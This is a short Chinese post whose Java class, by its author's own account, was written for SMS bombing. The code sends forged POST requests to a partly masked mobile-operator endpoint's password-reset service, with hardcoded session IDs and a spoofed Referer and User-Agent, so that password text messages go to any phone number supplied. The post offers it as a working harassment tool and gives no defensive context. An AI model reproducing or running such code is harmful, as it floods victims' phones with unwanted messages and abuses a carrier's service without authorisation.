Java 模拟POST提交数据

Java 模拟POST提交数据，这是当时写的一个手机短信轰炸的代码。package com.java.moblie;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.ProtocolException;
import java.net.URL;public class Send {
public String sendMessage（String Moblie）{
String url = "http://221.179.9.XX:8080/bpss/dwr/call/plaincall/PasswordService.applyAutoPassword.dwr";
String postData = "callCount=1 page=/bpss/index.jsp httpSessionId=60769A616C7132CB8BD8023AC05D214D scriptSessionId=4BCCB2CA5F312A17EBA6788BCA6D4807661 c0-scriptName=PasswordService c0-methodName=applyAutoPassword c0-id=0 c0-param0=string:"+Moblie+" batchId=3";
try {
URL serverUrl = new URL（url）;
HttpURLConnection conn = （HttpURLConnection） serverUrl.openConnection（）;
conn.setConnectTimeout（20000）;
conn.setRequestMethod（"POST"）;
conn.addRequestProperty（"Referer","http://221.179.9.XX:8080/bpss/index.jsp#"）;
conn.addRequestProperty（"Accept", "*/*"）;
conn.addRequestProperty（"Accept-Language", "zh-cn"）;
conn.addRequestProperty（"Content-type", "text/plain"）;
conn.addRequestProperty（"User-Agent","Mozilla/4.0 （compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727）"）;
//conn.addRequestProperty（"Cookie", "JSESSIONID=60769A616C7132CB8BD8023AC05D214D;"）;
conn.setDoOutput（true）;
conn.connect（）;
conn.getOutputStream（）.write（postData.getBytes（））;
InputStream ins = conn.getInputStream（）;
String charset = "gbk";
InputStreamReader inr = new InputStreamReader（ins, charset）;
BufferedReader br = new BufferedReader（inr）;
String line = "";
StringBuffer sb = new StringBuffer（）;
do{
sb.append（line）;
line = br.readLine（）;
}while（line ！= null）;
return sb.toString（）;
} catch （MalformedURLException e） {
e.printStackTrace（）;
return null;
} catch （ProtocolException e） {
e.printStackTrace（）;
return null;
} catch （IOException e） {
e.printStackTrace（）;
return null;
}
}
}